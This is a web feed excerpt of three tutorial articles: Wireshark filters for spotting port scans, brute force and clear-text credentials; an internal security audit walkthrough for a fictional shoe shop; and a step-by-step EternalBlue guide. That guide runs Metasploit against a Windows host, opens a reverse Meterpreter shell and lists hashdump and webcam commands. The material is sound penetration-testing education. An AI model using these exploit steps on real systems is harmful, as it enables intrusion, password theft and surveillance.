<p>This new filter shows only HTTP GET requests that occur on the standard HTTP port (80). The standard HTTP port is widely used for unencrypted web traffic. By adding this port condition, we're narrowing down our search to only those GET requests that are using the typical HTTP communication channel.</p>
<h3 id="heading-filtering-based-on-packet-size"><strong>Filtering Based on Packet Size</strong></h3>
<p>Network attacks often involve packets with unusual sizes. Attackers might use large or small packets to hide malicious data or to disrupt the normal functioning of the network. To filter based on packet size, we use a specific syntax:</p>
<pre><code class="lang-plaintext">tcp.len &gt;= 100 and tcp.len &lt;= 500
</code></pre>
<p>This filter displays TCP packets with a payload length between 100 and 500 bytes. You can adjust these values according to your needs. For example, if you suspect that an attack involves larger packets, you can increase the upper limit. By filtering based on packet size, we can identify abnormal traffic patterns that might indicate an attack.</p>
<h3 id="heading-filtering-based-on-specific-content"><strong>Filtering Based on Specific Content</strong></h3>
<p>You can also filter traffic based on specific content within packets. This is very useful when you're looking for traffic related to a particular website or service. For example, let's find HTTP traffic related to a specific website.</p>
<pre><code class="lang-plaintext">http.host contains "google"
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385773497/36b7bc2e-b7e9-4b68-9dc7-82e429c5ea01.png" alt="Wireshark HTTP Host Filter" class="image--center mx-auto" width="2618" height="1168" loading="lazy"></p>
<p>This filter shows only HTTP traffic where the host header contains "google". You can replace "google" with any domain you're interested in analyzing. The host header in an HTTP request tells the server which website the client is trying to access. By filtering based on the host header, we can focus on the traffic related to a specific domain.</p>
<p>If your sample file doesn't have HTTP traffic with host headers, try this more general content filter:</p>
<pre><code class="lang-plaintext">frame contains "http"
</code></pre>
<h3 id="heading-using-the-contains-operator-for-text-searching"><strong>Using the "contains" Operator for Text Searching</strong></h3>
<p>The <code>contains</code> operator is a handy tool for searching for specific text strings in packets. It allows us to look for certain keywords within the packet data.</p>
<pre><code class="lang-plaintext">frame contains "password"
</code></pre>
<p>This filter shows packets containing the word "password" anywhere in the packet data. This can be very helpful for detecting possible security issues. For example, if passwords are being sent in clear text (which is a big security risk), this filter can help us spot those packets.</p>
<p>Or try this filter:</p>
<pre><code class="lang-plaintext">frame contains "login"
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385793822/024b4482-0b5d-4b20-985c-6263bd7f48d6.png" alt="Wireshark Password Filter Example" class="image--center mx-auto" width="2612" height="1164" loading="lazy"></p>
<h3 id="heading-negating-filters"><strong>Negating Filters</strong></h3>
<p>Sometimes, you might want to see all the traffic except for certain types. That's where the <code>not</code> operator comes in.</p>
<pre><code class="lang-plaintext">not arp
</code></pre>
<p>This filter hides all ARP packets. ARP (Address Resolution Protocol) is used to map IP addresses to MAC addresses in a local network. Sometimes, ARP traffic can be very common and might clutter your analysis. By using the <code>not</code> operator, you can exclude this type of traffic and focus on other more relevant packets.</p>
<h3 id="heading-saving-and-applying-filter-bookmarks"><strong>Saving and Applying Filter Bookmarks</strong></h3>
<p>If you find yourself using certain filters frequently, you don't have to type them in every time. You can save them as bookmarks. Here's how:</p>
<ol>
<li><p>Enter a filter in the filter bar. This is where you type in the filter expressions we've been learning about.</p>
</li>
<li><p>Click the "+" button on the right side of the filter bar. This button is used to save the current filter as a bookmark.</p>
</li>
<li><p>Give your filter a name and click "OK". Naming the filter makes it easy to identify later.</p>
</li>
</ol>
<p>Once you've saved your filter, you can apply it by clicking on its name in the filter dropdown menu. This saves you time and effort, especially when you're doing repeated analysis.</p>
<h3 id="heading-exporting-filtered-packets"><strong>Exporting Filtered Packets</strong></h3>
<p>After you've filtered your traffic to show only the packets of interest, you might want to save just these packets to a new file. This is useful for sharing specific findings with colleagues or for further analysis. Here's how you do it:</p>
<ol>
<li><p>Apply your desired filter. Make sure you've set up the filter to show only the packets you want to save.</p>
</li>
<li><p>Click on File &gt; Export Specified Packets. This option allows you to export a specific set of packets.</p>
</li>
<li><p>Make sure "Displayed" is selected in the Packet Range section. This ensures that only the packets that are currently visible (that is, the ones that match your filter) are exported.</p>
</li>
<li><p>Choose a filename and location. This is where you decide where to save the new capture file and what to name it.</p>
</li>
<li><p>Click "Save". This creates a new capture file containing only the packets that matched your filter.</p>
</li>
</ol>
<h2 id="heading-analyzing-security-related-traffic"><strong>Analyzing Security-Related Traffic</strong></h2>
<p>In this step, we're going to focus on using Wireshark filters for security analysis. Security analysis is crucial in the world of cybersecurity as it helps us spot potentially malicious activities in network traffic. By the end of this section, you'll be able to identify various types of security threats using specific Wireshark filters.</p>
<h3 id="heading-identifying-port-scanning-activities"><strong>Identifying Port Scanning Activities</strong></h3>
<p>Port scanning is a common technique used by attackers to gather information about a target system. Attackers use it to find open ports on a network, which they can then exploit.</p>
<p>To detect potential port scanning, we look for a large number of connection attempts from a single source to multiple ports.</p>
<p>Let's use a specific filter to identify such activities. Try this filter in Wireshark:</p>
<pre><code class="lang-plaintext">tcp.flags.syn == 1 and tcp.flags.ack == 0
</code></pre>
<p>This filter shows SYN packets without the ACK flag. In a TCP connection, the SYN packet is the first one sent to initiate a connection, and the ACK packet is used to acknowledge the connection. When we see a lot of SYN packets without ACK from one source to different destination ports, it's a strong indication of port scanning.</p>
<h3 id="heading-detecting-suspicious-dns-traffic"><strong>Detecting Suspicious DNS Traffic</strong></h3>
<p>DNS tunneling and other DNS-based attacks are becoming more common. These attacks use the DNS protocol to hide malicious activities, such as data exfiltration or command and control communication. To detect such attacks, we need to look for unusual DNS traffic.</p>
<p>Use this filter to examine DNS queries:</p>
<pre><code class="lang-plaintext">dns
</code></pre>
<p>Once you apply this filter, look for unusually long domain names or a high volume of DNS requests to the same domain. These could be signs of data exfiltration or command and control communication.</p>
<h3 id="heading-identifying-password-brute-force-attempts"><strong>Identifying Password Brute Force Attempts</strong></h3>
<p>Password brute force attacks are a common way for attackers to gain unauthorized access to services like SSH or FTP. In a brute force attack, the attacker tries multiple password combinations until they find the correct one.</p>
<p>To detect potential brute force password attempts, we can filter for failed login attempts. Use this filter:</p>
<pre><code class="lang-plaintext">ftp contains "530" or ssh contains "Failed"
</code></pre>
<p>This filter shows FTP and SSH packets that contain common failure response messages. If you see multiple failures from the same source, it may indicate a brute force attempt.</p>
<h3 id="heading-analyzing-http-error-responses"><strong>Analyzing HTTP Error Responses</strong></h3>
<p>Web application attacks often generate HTTP error responses. Attackers may try to exploit vulnerabilities in web applications, and these attempts can result in error responses from the server.</p>
<p>Filter for these error responses with:</p>
<pre><code class="lang-plaintext">http.response.code &gt;= 400
</code></pre>
<p>This filter shows HTTP response packets with status codes of 400 or higher. All these status codes represent error responses. By examining these packets, we can identify attempted web exploits.</p>
<h3 id="heading-finding-clear-text-credentials"><strong>Finding Clear-Text Credentials</strong></h3>
<p>Transmitting credentials in clear text is a major security risk. If an attacker intercepts these credentials, they can gain unauthorized access to the system.</p>
<p>To detect clear-text credentials, use this filter:</p>
<pre><code class="lang-plaintext">http contains "user" or http contains "pass" or http contains "login"
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385832534/4c38654f-8ff0-4bc3-8bc6-0dd1161dc0f1.png" alt="Wireshark Clear-Text Cred Filter" class="image--center mx-auto" width="2620" height="1244" loading="lazy"></p>
<p>This filter helps us find HTTP traffic that might contain login information. Carefully examine the packets that match this filter to identify potential security risks.</p>
<h2 id="heading-analyzing-sample-traffic-and-generating-new-traffic"><strong>Analyzing Sample Traffic and Generating New Traffic</strong></h2>
<p>Now that you've learned various security-focused filters, it's time to put your knowledge into practice. You can either analyze the provided sample file or generate and analyze new traffic.</p>
<h3 id="heading-analyzing-the-sample-file"><strong>Analyzing the Sample File</strong></h3>
<p>If you're using the provided sample file (<code>/home/labex/project/sample.pcapng</code>), try applying some of the security filters we've discussed to identify any interesting patterns:</p>
<pre><code class="lang-plaintext">tcp.flags.syn == 1 and tcp.flags.ack == 0
</code></pre>
<p>Look for patterns that might indicate scanning, suspicious connections, or other security concerns.</p>
<h3 id="heading-generating-and-analyzing-new-traffic"><strong>Generating and Analyzing New Traffic</strong></h3>
<p>Alternatively, open a new terminal window. In this window, we'll generate some HTTP traffic with multiple requests. Run the following commands:</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {1..5}; <span class="hljs-keyword">do</span>
  curl -I www.google.com
  sleep 1
<span class="hljs-keyword">done</span>
</code></pre>
<p>These commands send five HTTP HEAD requests to <code>www.google.com</code> with a one-second interval between each request.</p>
<p>Next, go to Wireshark and apply this filter to find all HTTP requests:</p>
<pre><code class="lang-plaintext">http.request
</code></pre>
<p>This filter will show all the HTTP requests in the captured traffic.</p>
<p>Look through these packets to identify patterns of normal HTTP traffic. Notice the headers, the frequency of requests, and other details.</p>
<p>Finally, try to create a filter that can distinguish normal HTTP browsing from automated scanning tools. For example:</p>
<pre><code class="lang-plaintext">http.request and !(http.user_agent contains "Mozilla")
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385858895/3feb916b-39ac-4ced-ab76-8597186cbbf0.png" alt="Wireshark HTTP User Agent Filter" class="image--center mx-auto" width="2610" height="1184" loading="lazy"></p>
<p>This filter shows HTTP requests that don't have browser user agents. Since most normal web browsing is done using browsers with Mozilla in the user agent, requests without it might indicate automated tools rather than normal browsing.</p>
<p>By practicing these security-focused filtering techniques, you'll develop the skills needed to quickly identify suspicious traffic in real-world network captures.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>In this tutorial, you have learned how to use Wireshark display filters for network traffic analysis and potential security threat identification.</p>
<p>You began by either working with a provided sample capture file or capturing live network traffic and familiarizing yourself with the Wireshark interface. Then, you mastered basic display filters to isolate specific traffic types according to protocols, IP addresses, and ports. You also advanced your skills with complex filtering techniques, combining multiple conditions and searching for specific content. Finally, you applied these skills in security analysis scenarios to detect suspicious activities such as port scanning, credential exposure, and potential attacks.</p>
<p>These Wireshark filtering skills are crucial for efficient network troubleshooting and security analysis. By quickly isolating relevant packets from large captures, you can greatly reduce the time required to identify and respond to network issues and security incidents.</p>
<p>As you keep practicing with Wireshark, you will gain an intuitive understanding of network protocols and traffic patterns, enhancing your overall cybersecurity capabilities.</p>
<blockquote>
<p>To practice the operations from this tutorial, try the interactive hands-on lab: <a target="_blank" href="https://labex.io/labs/wireshark-analyze-network-traffic-with-wireshark-display-filters-415944?course=quick-start-with-wireshark">Analyze Network Traffic with Wireshark Display Filters</a></p>
</blockquote>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Why Security Audits Are Important ]]>
                </title>
                <description>
                    <![CDATA[ In this digital world, companies rely on the latest technology to run their businesses, and the risk of cyber attacks is high. Every product, whether it’s software or an application, should go through some sort of security testing process. These chec... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/why-security-audits-are-important/</link>
                <guid isPermaLink="false">67db2704d898a5f4273111cf</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ P S Mohammed Ali ]]>
                </dc:creator>
                <pubDate>Wed, 19 Mar 2025 20:20:20 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1742397497226/ec06b7c2-1a2a-4eb1-bbaa-4c1d40e4e60e.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this digital world, companies rely on the latest technology to run their businesses, and the risk of cyber attacks is high.</p>
<p>Every product, whether it’s software or an application, should go through some sort of security testing process. These checks reveal whether the product is safe or vulnerable to threats.</p>
<p>Penetration testing is a common way to test process or products, but it’s typically more specifically designed with a particular product in mind. On the other hand, a full security audit has a broader scope and covers more ground than penetration testing alone.</p>
<p>In this article, you’ll learn what’s involved in a standard security audit and how these processes can help keep your software secure. By the end, you’ll have a better idea of how security audits can help improve an organisation’s overall security posture.</p>
<h2 id="heading-what-is-a-security-audit">What is a Security Audit?</h2>
<p>A security audit is an overall review of an organization’s security controls, policies, standards, and procedures based on a set of predefined expectations.</p>
<p>These predefined expectations are derived from industry standards such as PCI DSS (Payment Card Industry Data Security Standard), which is a mandatory framework for organizations dealing with credit card transactions. Similarly, HIPAA (Health Insurance Portability and Accountability Act) focuses on the privacy and protection of your health information, making it essential for companies who are handling health-related data.</p>
<p>Apart from these standards, polices, and frameworks, security audits also examine infrastructure components and check application backups or recovery mechanisms to make sure data is protected if accidental or malicious data loss occurs.</p>
<p>The outcome of the audit can help inform the company of its current security posture, and also provides details about possible vulnerabilities and compliance threats.</p>
<p>Usually, security audits are conducted by a group of security experts. They plan the audit well in advance to ensure that it interrupts the company’s day-to-day business as little as possible.</p>
<p>There are two types of security audits:</p>
<ol>
<li><p>Internal Audit</p>
</li>
<li><p>External Audit</p>
</li>
</ol>
<p>In this article, we will discuss internal audits. The main difference between the two processes is that internal audits are conducted by people belonging to the organization, while external audits are conducted by a security team outside the organisation.</p>
<h2 id="heading-elements-of-an-internal-audit-process-flow">Elements of an Internal Audit (Process Flow)</h2>
<p>A well-structured security audit provides transparency and ensures that there’s a systematic approach to evaluating the effectiveness of in-place security policies and procedures.</p>
<p>The internal audit process typically follows these five steps:</p>
<ol>
<li><p>Establishing goals and objectives</p>
</li>
<li><p>Conducting a risk assessment</p>
</li>
<li><p>Completing a control assessment</p>
</li>
<li><p>Assessing compliance</p>
</li>
<li><p>Communicating to stakeholders</p>
</li>
</ol>
<p>To understand the elements of an internal audit in more detail, let's break down the process by working through a case study. This will show you how a company or team can plan an internal audit using a systematic approach.</p>
<h2 id="heading-security-audit-case-study">Security Audit Case Study</h2>
<p>In order to understand this process more clearly, let’s consider an e-Commerce website called “walkGen.com” as an example.</p>
<p><strong>Case Study:</strong> There is a eCommerce website named <strong>walkGen.com</strong> which primarily sells footwear through their website. Customers can order by logging in using their username and password and can pay using a credit/debit card or UPI. To create a better user experience, the website asks for the user’s name, age, gender, and location for personalized information and design.</p>
<p>With this information in mind, let’s conduct a security audit for the website.</p>
<h3 id="heading-step-1-establish-goals-and-objectives">Step 1: Establish Goals and Objectives</h3>
<p>This first step involves identifying all the critical assets and services required for the website to run. You’ll also need to define a set of industry standard expectations.</p>
<p>For our walkGen.com website, the critical assets we need to consider include customer data, transaction details, and infrastructure details like hosting server, database, and so on.</p>
<p>Keeping these initial data points in mind, here are some possible goals and objectives:</p>
<ol>
<li><p><strong>Strength access controls</strong>: We want to make sure there are strict authentication and authorization policies in place for any users who sign in.</p>
</li>
<li><p><strong>Maintain proper frameworks</strong>: Since customers can pay using a credit card, we’ll want to ensure that the site adheres to standards like PCI DSS for payment security.</p>
</li>
<li><p><strong>Secure Infrastructure</strong>: Assets like hosting servers and databases need to be safeguard from cyber threats and theft.</p>
</li>
</ol>
<p>Now, the key expectations are that we’ll maintain compliance with security standards such as GDPR (General Data Protection Regulation) for protecting customer data as well as PCI DSS (Payment Card Industry Data Security Standard) for monetary transactions. We’ll also need to perform regular maintenance and patch updates for servers and databases.</p>
<h3 id="heading-step-2-conduct-a-risk-assessment">Step 2: Conduct a Risk Assessment</h3>
<p>Risk assessment helps us identify and prioritize threats that may possibly affect walkGen’s critical assets. It helps categorize the risks based on their severity and likelihood.</p>
<p>Identifying and categorizing risks will be the ultimate goal in this step, as it will help walkGen implement effective security measures for critical risks compared to low/information risks.</p>
<p>From the assets and services we identified in the previous step, the possible risks could be:</p>
<ol>
<li><p><strong>Customer data leakage</strong>: Exposure of customer data such as names, email ID, customer delivery addresses, payment details, and so on.</p>
</li>
<li><p><strong>Man-in-the-Middle attacks</strong>: Intercepting website traffic between the logged in users and the website, leading to stolen login credentials, stored payment card details, and so on.</p>
</li>
<li><p><strong>Non-compliance with PCI DSS:</strong> Failing to meet the standards required for handling credit card transaction securely.</p>
</li>
<li><p><strong>Unauthorized transactions or stolen payment details:</strong> payment transaction happening on compromised accounts by cybercriminals.</p>
</li>
<li><p><strong>Server vulnerabilities:</strong> Weaknesses/loopholes in the hosted web server configuration, third-party software, or cloud network infrastructure.</p>
</li>
<li><p><strong>Database exploits:</strong> Exploiting vulnerabilities present in the database through penetration testing like SQL Injection, and so on.</p>
</li>
<li><p><strong>Missing patch updates</strong>: Ignoring/Failing to apply security patches for the OS or walkGen’s applications.</p>
</li>
</ol>
<blockquote>
<p><strong>Note:</strong> If you look closely, some of these risks seem to overlap with others, and some may seem to be defined in the same way. This is called the “<strong>chain link of risk</strong>”. But deep down they are different from each other.</p>
</blockquote>
<p>Once we’ve identified these risks, the next step is to prioritize them (Critical, Medium, or Low) based on various factors such as severity, likelihood of occurring, potential damage that may happen if the threat occurs, and so on.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Risk Level</td><td>Assigned Risks</td></tr>
</thead>
<tbody>
<tr>
<td>Critical Risk</td><td>1. Customer data leakage  </td></tr>
</tbody>
</table>
</div><p>3. Man-in-the-Middle attacks<br>4. Non-Compliance with PCI DSS<br>5. Unauthorized transactions or stolen payment details<br>7. Database Exploits |
| Medium Risk | 6. Server vulnerabilities |
| Low Risk | 7. Missing patch updates |</p>
<h3 id="heading-step-3-complete-a-controls-assessment">Step 3: Complete a Controls Assessment</h3>
<p>This phase ensures that security checkpoints/controls are implemented for the risks we’ve identified while maintaining compliance standards. If any security controls are missing, the audit documents them and provides optimized preventative measures to safeguard the WalkGen website.</p>
<p>In this particular scenario, some control assessments could be:</p>
<ul>
<li><p>Implementing Multi-Factor Authentication (MFA) or 2 Factor Authentication (2FA) using a one time password (OTP) request to a registered mobile number to prevent accidental exposure of customer data.</p>
</li>
<li><p>Protecting data using encryption standards such as AES (Advanced Encryption Standard)-256 and TLS (Transport Layer Security) 1.3 for secure data transmission, thus helping eliminate possible man-in-the-middle attacks.</p>
</li>
<li><p>Also, <a target="_blank" href="https://www.freecodecamp.org/news/how-to-create-a-python-siem-system-using-ai-and-llms/">implementing SIEM</a> (Security Information and Event Management) Tools for event logging to prevent Man-in-the-Middle attacks.</p>
</li>
<li><p>Account compromise often happens through brute-force attacks when the attacker makes multiple login attempts while trying to guess a user’s password. On the walkGen website, a security plugin has been implemented to block multiple login attempts.</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742237464615/aba6bb18-48dd-40d1-8d27-681711077ef9.png" alt="Security plugin" class="image--center mx-auto" width="1278" height="548" loading="lazy"></p>
</li>
<li><p>As stated in the "chain link of risk," the risks of non-compliance with PCI DSS and unauthorized transactions or stolen payment details fall into the same category. We can mitigate these risks by enabling proper authorization during payment transactions and, more importantly, disabling the "Remember my card" option by default, which significantly reduces the risk.</p>
</li>
<li><p>Server vulnerabilities and missing patch updates also fall into the same category of human-based risks. These risks are mitigated by providing periodic updates and reminders to the respective person in charge for walkGen servers. There is a high likelihood that hosting clouds such as Azure, AWS, or Google Cloud Platform (GCP) may have server vulnerabilities, which we can avoid by keeping them updated to their latest versions.</p>
</li>
</ul>
<p>This phase helps us understand the actual security posture in protecting the website from real time attacks.</p>
<h3 id="heading-step-4-assess-compliance">Step 4: Assess Compliance</h3>
<p>Usually, this phase is merely a continuation of the previous phase. But in an audit, equal weight is given to both risk and compliance. This means that we’ll need to conduct a separate compliance review for all the measures taken to mitigate the risks.</p>
<p>Industry regulations and security standards such as GDPR, PCI DSS, Cybersecurity Best Practices, and ISO 27001 (Information Security Management System) are applicable to WalkGen. Assessing whether these standards are maintained and followed is important – otherwise the website may face threats or heavy fines for non-compliance.</p>
<p>These frameworks are general and foundational frameworks that must be adhered to by almost all companies, regardless of their working model. But there are certain frameworks that are more specific to companies like WalkGen.</p>
<p>One specific framework for walkGen would be ISO 22301 (Business Continuity Management System - BCMS), which helps to ensures that walkGen can continue its operations during cyber attacks (if this happens). It also ensures that the company creates disaster recovery and risk mitigation plans to prepare for the worst case scenario.</p>
<blockquote>
<p><strong>Note:</strong> If a security control is effective in mitigating the risk but is still not compliant with regulations, it’s considered a red flag in security.</p>
</blockquote>
<p>At this stage, 95% of the audit is complete. The team members conducting the audit should have a clear understanding of the risks managed, the security working model, the frameworks implemented, and the security protocols that WalkGen adheres to.</p>
<h3 id="heading-step-5-communicate-to-stakeholders">Step 5: Communicate to Stakeholders</h3>
<p>This phase concludes the audit process for walkGen and provides the audit results to the relevant security teams and board members, such as founders and the CEO. This report helps them understand the findings and determine the next steps for the website, including how much funding should be allocated for the necessary security measures.</p>
<p>The report for security teams will contain a lot of technical nuances, such as the scope of the website, how vulnerabilities are identified (with code snippets), and a detailed walkthrough of each vulnerability. In contrast, the report for non-technical people, including potentially founders and CEOs, will provide high-level information about the audit and security gaps.</p>
<p>Typically, WalkGen's audit report provides insights such as:</p>
<ul>
<li><p>A summary of identified risks and managed threats</p>
</li>
<li><p>Implemented security frameworks</p>
</li>
<li><p>Compliance status: Statements such as "WalkGen meets industry standards like GDPR and ISO 22301."</p>
</li>
<li><p>Recommendations and further steps, includes suggested security enhancements, security budget requirements, and respective action plans for WalkGen.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Companies should conduct security audits regularly. Each time, they should compare the current results with the previous audit’s results to check the analytics and security status of the organisation.</p>
<p>I hope this article gave you a better idea about what’s involved in a security audit and why they’re necessary for companies to complete on a regular basis. It’s important for companie to stay resilient against cyber threats, reduce potential and legal risks, and maintain customer trust in this evolving digital world.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Exploit the EternalBlue Vulnerability on Windows – A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue. This critical Windows exploit played a key role in the widespread WannaCry ransomware attack that affected systems in over 150 countries. In this ar... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-exploit-the-eternalblue-vulnerability-on-windows/</link>
                <guid isPermaLink="false">67d35b3cba576fa68285a197</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Exploitation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit framework ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 13 Mar 2025 22:25:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1737564552005/119beff1-e8fb-489c-931b-903421473464.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue.</p>
<p>This critical Windows exploit played a key role in the widespread <a target="_blank" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry ransomware</a> attack that affected systems in over 150 countries.</p>
<p>In this article, we’ll walk through how EternalBlue works, how to scan for it, and how to exploit it using Metasploit.</p>
<blockquote>
<p><strong><em>Note*</em></strong>: This is strictly for ethical hacking and penetration testing purposes on systems you own or have explicit permission to test. Do not use these tools on machines where you don’t have permission.*</p>
</blockquote>
<h2 id="heading-what-is-eternalblue"><strong>What Is EternalBlue?</strong></h2>
<p>EternalBlue is a dangerous computer exploit developed by the U.S. National Security Agency (NSA). In 2017, a hacking group called the Shadow Brokers leaked it online. Hackers quickly started using it to attack computers worldwide.</p>
<p>EternalBlue takes advantage of a weakness in Windows computers. This weakness is in the SMB (Server Message Block) protocol, which helps computers share files and printers over a network. By exploiting this flaw, hackers can break into a system without needing a password.</p>
<p>One of the most famous cyberattacks using EternalBlue was WannaCry. This was a ransomware attack that spread across the world in May 2017. It infected over 200,000 computers in more than 150 countries, locking up files and demanding payment. Another attack, NotPetya, used EternalBlue to cause billions of dollars in damage.</p>
<p>Now lets look at how a machine vulnerable to EternalBlue can be exploited.</p>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<ol>
<li><p>A target Windows system vulnerable to EternalBlue (for example, an unpatched Windows 7 system).</p>
</li>
<li><p>An attacking system (often Kali Linux) with Metasploit installed.</p>
</li>
<li><p>Familiarity with basic pentesting commands (Nmap, Metasploit, and so on).</p>
</li>
</ol>
<h3 id="heading-tools-youll-need">Tools You’ll Need</h3>
<p>We are going to use two tools in this tutorial.</p>
<p><strong>Nmap (Network Mapper)</strong> is a tool used to scan networks and discover devices, open ports, and running services. It helps ethical hackers and system administrators find security weaknesses and map out network structures. <a target="_blank" href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/">Here is a full tutorial on Nmap</a>.</p>
<p><strong>Metasploit</strong> is a powerful hacking framework used to test security by finding and exploiting vulnerabilities in computer systems. It includes <strong>Meterpreter</strong>, an advanced payload that gives hackers remote control over a compromised machine. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a>.</p>
<h2 id="heading-identify-the-target-and-check-for-open-ports"><strong>Identify the Target and Check for Open Ports</strong></h2>
<p>First, get the IP address of your target machine. In our example, the IP is <code>10.10.232.162</code>. You’ll want to confirm that SMB (port 445) is open because EternalBlue attacks the SMB service.</p>
<pre><code class="lang-plaintext">nmap -p 445 10.10.232.162
</code></pre>
<p>If the port is open, Nmap will report that port 445 is open. That’s your first green light.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563621594/86733206-6b14-4a51-ae77-bd651fe066dc.webp" alt="Nmap response" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-start-metasploit"><strong>Start Metasploit</strong></h2>
<p>Open up your terminal and start the Metasploit Framework (you can <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">learn more about Metasploit in my article</a> here if you need a refresher):</p>
<pre><code class="lang-plaintext">msfconsole
</code></pre>
<p>Metasploit will load, displaying the number of exploits, auxiliary modules, and payloads available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563650243/bf779d7c-a272-4dc7-aeba-65b812af2268.webp" alt="Msfconsole" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-scan-for-the-eternalblue-ms17010-vulnerability"><strong>Scan for the EternalBlue (MS17–010) Vulnerability</strong></h2>
<p>Next, use Metasploit’s built-in scanner for EternalBlue:</p>
<pre><code class="lang-plaintext">search scanner eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563706786/62f94087-b078-46d9-a0fd-66f00f05336e.webp" alt="Scanner search results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Use the smb_ms17_010 scanner to check for the EternalBlue vulnerability.</p>
<pre><code class="lang-plaintext">use auxiliary/scanner/smb/smb_ms17_010
show options
</code></pre>
<p>Set the target’s IP address (RHOSTS) to your Windows machine:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then, run the scanner:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<p>If the scanner reports that the host is “likely vulnerable” and shows details such as Windows 7 Professional, you’ve confirmed the EternalBlue vulnerability.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563744272/f3204f5f-11aa-4778-aa7e-b4a6b9d90912.webp" alt="ms17_010 scan results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-exploit-the-vulnerability"><strong>Exploit the Vulnerability</strong></h2>
<p>Once you know the target is vulnerable, search for the actual EternalBlue exploit module:</p>
<pre><code class="lang-plaintext">search exploit eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563783135/0a4c7c5b-5f2b-4d4f-bb2a-c3af8b49f29e.webp" alt="Exploit search results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You should see a list of possible exploits. The one we’re interested in is typically labelled something like:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p>Use that exploit:</p>
<pre><code class="lang-plaintext">use exploit/windows/smb/ms17_010_eternalblue
show options
</code></pre>
<p>Set the target’s IP address again:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then check the payload settings. Metasploit often defaults to a <strong>Meterpreter</strong> payload (for example, <code>windows/x64/meterpreter/reverse_tcp</code>), which is ideal. Confirm that your local IP (LHOST) is correct, so the connection can come back to your machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563823155/6d4e795a-abdb-4b08-8b25-292ac134135e.webp" alt="Options for exploit" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Finally, run the exploit:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<h2 id="heading-meterpreter-shell-and-post-exploitation"><strong>Meterpreter Shell and Post-Exploitation</strong></h2>
<p>If successful, you will land in a <strong>Meterpreter</strong> shell. Meterpreter is a powerful payload that allows you to:</p>
<ul>
<li><p>Dump password hashes</p>
</li>
<li><p>Elevate privileges</p>
</li>
<li><p>Capture webcam streams</p>
</li>
<li><p>Record microphones, and more.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563857046/7de15dd6-7905-4ad0-9aea-7b3be8febc35.webp" alt="Successful meterpreter shell" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Here’s a quick look at some Meterpreter commands:</p>
<pre><code class="lang-plaintext">sysinfo         # Displays the target system information
getuid          # Shows the user context you’re running under
hashdump        # Dumps SAM password hashes (requires privilege escalation)
webcam_stream   # Streams from the target’s webcam if available
</code></pre>
<p>The EternalBlue exploit is a prime example of how a single unpatched vulnerability can expose a system for takeover.</p>
<p>Understanding its mechanics helps defensive teams patch systems, monitor network traffic for suspicious SMB communications, and create robust response strategies.</p>
